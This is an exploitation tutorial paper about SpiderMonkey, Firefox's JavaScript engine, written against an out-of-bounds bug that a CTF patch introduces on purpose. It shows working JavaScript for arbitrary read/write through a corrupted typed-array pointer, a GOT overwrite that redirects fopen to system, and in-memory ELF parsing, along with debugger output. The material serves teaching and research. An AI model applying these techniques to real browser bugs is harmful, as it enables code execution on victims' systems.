Firfefox Spidermonkey JS Engine Exploitation

Dr Silvio Cesare

InfoSect

Summary

In this paper, I present a set of techniques that enable command execution within the Spidermonkey JS Engine given a relative read/write (rw) bug. A relative rw bug is also known as an out of bounds (OOB) bug. I will discuss how to convert a relative rw primitive into an arbitrary rw primitive by overwriting the backing store pointer of a JavaScript typed array. From an arbitrary rw primitive I gain command execution by overwriting an entry in the Global Offset Table (GOT) with a pointer to the system libc call. Finally, I demonstrate how to determine the GOT offsets by implementing an ELF-parser within the JavaScript exploit code, that parses the in-memory Spidermonkey ELF image.

Introduction

Spidermonkey is the JavaScript (JS) engine used in Firefox. It is a modern JS Engine and under active development. Spidermonkey can be built as part of Firefox, or it can be built as a standalone system. For the exploitation presented in this paper, I have built Spidermonkey as a standalone system. The main difference is that Firefox implements a restricted sandbox that holds Spidermonkey. Thus, if remote code execution was gained from a Spidermonkey vulnerability, then arbitrary code execution would be restricted in Firefox. Nevertheless, remote code execution is typically an important part of an exploit chain. Once remote code execution has been gained, a sandbox escape or privilege escalation exploit will be used to further compromise the system.

In the set of exploit techniques presented in this paper, Spidermonkey will be built as a standalone system. In these techniques, command execution will be gained.

Building Spidermonkey

The first thing to develop a Spidermonkey exploit is to build Firefox or Spidermonkey in a development environment. This is well documented by Mozilla at the URL https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Build_Documentation

To summarize the build process, in a Linux environment, I run the following script on Ubuntu 19.04. This will build both a debug version and a release version of Spidermonkey. Note that this installs Rust, which is required by the build process.

```
#!/bin/bash

git clone https://github.com/mozilla/gecko-dev.git

cd gecko-dev/js/src

sudo apt-cache update

sudo apt-get install autoconf2.13

autoconf2.13

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs |
sh


# This name should end with "_OPT.OBJ" to make the version
control system ignore it.

mkdir build_OPT.OBJ

cd build_OPT.OBJ

../configure

# Use "mozmake" on Windows

make -j8

cd ..


# This name should end with "_DBG.OBJ" to make the version
control system ignore it.

mkdir build_DBG.OBJ

cd build_DBG.OBJ

../configure --enable-debug --disable-optimize

# Use "mozmake" on Windows

make -j8
```

A Relative RW Bug

To simulate a relative RW vulnerability, we will introduce a patch that was used in a CTF that incorrectly extends a Javascript array to 420 accessible elements. Any elements beyond the original array will be accessed out of bounds. Thus, memory corruption or memory disclosure is possible simply by an array access.

The patch I use is based on
https://github.com/andigena/ctf/blob/master/blaze18/blazefox/blaze.patch

To use this bug, we simply call the method blaze() from an array. For example:

```
function OOB(addr) {
        var x, y;
        x = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6);
        x.blaze();
        x[100] = 1.1; // memory corruption
}
```

An Arbitrary RW Primitive

Now that the blaze patch has introduced a relative RW primitive, our first task in exploitation is to convert this relative RW into an arbitrary RW.

Generally, a reasonable approach to converting a relative RW to an arbitrary RW is to overwrite a pointer that is used in another JavaScript object with our arbitrary address. If this JavaScript object is an array, then this pointer which accesses array elements, will access arbitrary memory contents when dereferenced.

A typed array is one such JavaScript object which stores a "backing store" pointer inline. Let's run some JS code where we've added a builtin function to the Array type so we can determine the address of an object. Let's also look at this with typed arrays:

```
a = [];
var x = new Uint8Array(8);
x[0] = 0x41;
x[1] = 0x42;
x[2] = 0x43;
x[3] = 0x44;
a.addr_of(x);
a.breakpoint();
```

When we run this JS code called typed_array.js, we get the following output from within our debugging environment:

```
gef➤  r typed_array.js
Starting program: /home/infosect/InfoSect/Browsers/spidermonkey/gecko-dev/js/src/build_OPT.OBJ/dist/bin/js typed_array.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6f70700 (LWP 17921)]
[Thread 0x7ffff6f70700 (LWP 17921) exited]
[New Thread 0x7ffff65ff700 (LWP 17922)]
[New Thread 0x7ffff6400700 (LWP 17923)]
[New Thread 0x7ffff6201700 (LWP 17924)]
[New Thread 0x7ffff6002700 (LWP 17925)]
Object 0x1ab708f007a8
Thread 1 "js" received signal SIGTRAP, Trace/breakpoint trap.
```

If we look at the memory contents of a typed array at that address, we can see the following:

```
gef➤  x/9gx 0x1ab708f007a8
0x1ab708f007a8:  0x00003e174456bb80
0x1ab708f007b0:  0x00003e17445981f0
0x1ab708f007b8:  0x0000000000000000
0x1ab708f007c0:  0x0000555556929c70
0x1ab708f007c8:  0xfffa000000000000
0x1ab708f007d0:  0xfff8800000000008
0x1ab708f007d8:  0xfff8800000000000
0x1ab708f007e0:  0x00001ab708f007e8
0x1ab708f007e8:  0x0000000044434241
gef➤
```

Note the pointer **0x1ab708f007e0.** It points to the elements of the typed array with contain the value **0x0000000044434241**. If we overwrote this pointer with an arbitrary address, and we

accessed the typed array, it would point to our arbitrary location. We would have an arbitrary rw primitive.

When we allocate objects in JavaScript, they have a good chance of being allocated one after another on the heap. Thus, if we allocate a JavaScript object with a relative rw bug. Then the next object allocated, is probably going to be allocated sequentially in memory. To use this to our advantage, we take our relative rw object and allocate a typed array after it. Thus, we have an opportunity to overwrite the backing pointer within the typed array using our relative rw bug.

Let's show this more precisely as JavaScript code:

```
load('./utils.js');
load('./int64.js');
function arb_r(addr) {
        var x, y;
        x = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6);
        y = new Uint8Array(8);
        x.blaze();
        i = new Int64(addr);
        save = x[13];
        x[13] = i.asDouble();
        value = y[0];
        x[13] = save;
        return value;
}
```

We do a couple of extra things in this code. For starters, we make a copy of the backing store pointer and restore it once we are done with our arbitrary rw. More importantly, because there is no native 64-bit integer type in JavaScript, we need a way to pass around 64-bit pointers and values. We do this through the use of doubles. Doubles are 64-bit floating point representations. We can use a well-known library that aliases 64-bit numbers to double representations. You can find it at the URL https://github.com/saelo/jscpwn.

An arbitrary write is very similar to our arbitrary read:

```
load('./utils.js');
load('./int64.js');
function arb_w(addr, value) {
        x = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6);
        y = new Uint8Array(8);
        x.blaze();
        i = new Int64(addr);
        save = x[13];
        x[13] = i.asDouble();
        y[0] = value;
        x[13] = save;
}
```

Arbitrary RW to Command Execution

The goal of our exploit is command execution. We will hijack control flow to do this.

Firefox and Spidermonkey do not use the well know RELRO mitigation and we can take advantage of this to hijack control flow.

The RELRO mitigation is used as part of runtime linking. As part of a dynamically linked executable, a set of function pointers is maintained as part of the Global Offset Table. Each GOT entry relates to an individual library function that the binary dynamically links against. When symbol resolution occurs at runtime, the GOT entry is filled in with the resolved dynamic symbol address.

The RELRO mitigation, when used in its complete form, performs symbol resolution at program load time, and then remaps the GOT as non-writable. Thus, from an attacker point-of-view, a useful set of functions pointers is not accessible to hijack control flow.

Spidermonkey does not use the RELRO mitigation in full. Thus, the GOT can be overwritten and control flow can be hijacked.

The address of the GOT entry must be determined, and for a specific build, this is at a fixed offset relative to the beginning of the image base address which is loaded into memory.

Let's look at a trivial way to hijack control flow given an arbitrary write in Spidermonkey.

```
function do_got() {
        var image_base = leak_text();
        var gettimeofday_got = image_base +
            BigInt(GOT_OFFSET);
        arb_w8(gettimeofday_got, 0x41414141);
        Date.now();
}
```

We can see that in this attack we overwrite the GOT address of the libc call gettimeofday with 0x41414141. Then, when we call the JavsaScript date function, the libc call is executed and the program counter ($RIP) goes to 0x41414141.

This is an easy way to control the program counter, but the goal of the exercise is to trigger a command. Thus, we need a way to control the argument passed to the hijacked RIP. A simple technique we can use is to find another GOT entry where we control the argument to the appropriate libc call. One libc call we can control the argument to is fopen. When we load a javscript file, the argument to this function is passed to fopen.

If we substitute a command to the load argument, and make fopen call the system libc call, we can execute arbitrary commands. Here is how to do it:

```
function do_system(got) {
        system_got = BigInt(got["system"]);
        fopen_got = BigInt(got["fopen"]);

        var system_libc = BigInt(arb_r8(system_got));
        fopen_backup = arb_r8(fopen_got);
        arb_w8(fopen_got, system_libc);
        load("/usr/bin/xcalc");
        arb_w8(fopen_got, fopen_backup);
}
```

In the code above, we can execute the /usr/bin/xcalc command. We only need our GOT addresses got["system"] and got["fopen"]. Again, given a specific build of Spidermonkey, these addresses are

fixed offsets relative to the image base. However, in different builds these offsets will be different. We need to determine the image base, but we also need a more reliable way to determine the GOT offsets, which will be the topic of discussion in the next section.

Leaking the Addresses and Offsets

Our first task will be to leak the image base. This is where the ELF binary for Spidermonkey is loaded into memory. We can achieve this task because in a typed array, an address within the object points into the Spidermonkey code/data image. This pointer leak is enough for us to determine the image base.

```
var target = new Uint8Array(16);
x = [];
x.addr_of(target);
x.breakpoint();
```

Let's examine the memory of the typed array returned by our addr_of function.

```
gef➤  x/4gx 0x68d42f00748
0x68d42f00748:  0x0000192cdc36bb50
0x68d42f00750:  0x0000192cdc3981c8
0x68d42f00758:  0x0000000000000000
0x68d42f00760:  0x0000555556929c70
gef➤  x/gx 0x0000555556929c70
0x555556929c70 <_ZL19emptyElementsHeader+16>:
     0xfff9800000000000
gef➤
```

The emptyElementsHeader points into the text/data of the Spidermonkey image.

We can determine the image base easily from here using our arbitrary read primitive. We note that the ELF header, which is loaded as the first part of the memory image is prefixed with the "\x7fELF" magic. This magic and the associated text segment must be loaded at the beginning of a page. Therefore, we can walk backwards, starting from our leaked emptyEementsHeader pointer, one page at a time, and check for the ELF magic.

This gives us our image base for Spidermonkey. The next step is to determine the GOT addresses by parsing the ELF headers in memory using our arbitrary read primitive.

The first thing that begins an ELF image is the ELF header. Our ELF header gives us access to the ELF program headers. The program headers give us access to the dynamic segment. The dynamic segment consists of dyn structures. We parse the dyn structures and obtain values associated with dynamic linking, such as the number of GOT entries and the address of the GOT. We parse the relocations associated with the GOT, which tells us each symbol name and the related GOT address.

Finally, we are able to reliably determine the GOT addresses associated with symbol names and our exploit can be written.

The full exploit can be found at https://github.com/infosectcbr/Exploitation.

Conclusion

This paper presented a set of techniques for Spidermonkey exploitation. I converted a relative rw primitive into an arbitrary rw. Then I took advantage that the GOT is writable and I am able to hijack control flow. I demonstrated a way to execute the system libc call with an attacker-controlled argument. I also demonstrated techniques to determine the GOT addresses in a reliable manner that works in different Spidermonkey builds.

I hope that this paper inspires and teaches others in the art of memory corruption against modern browsers.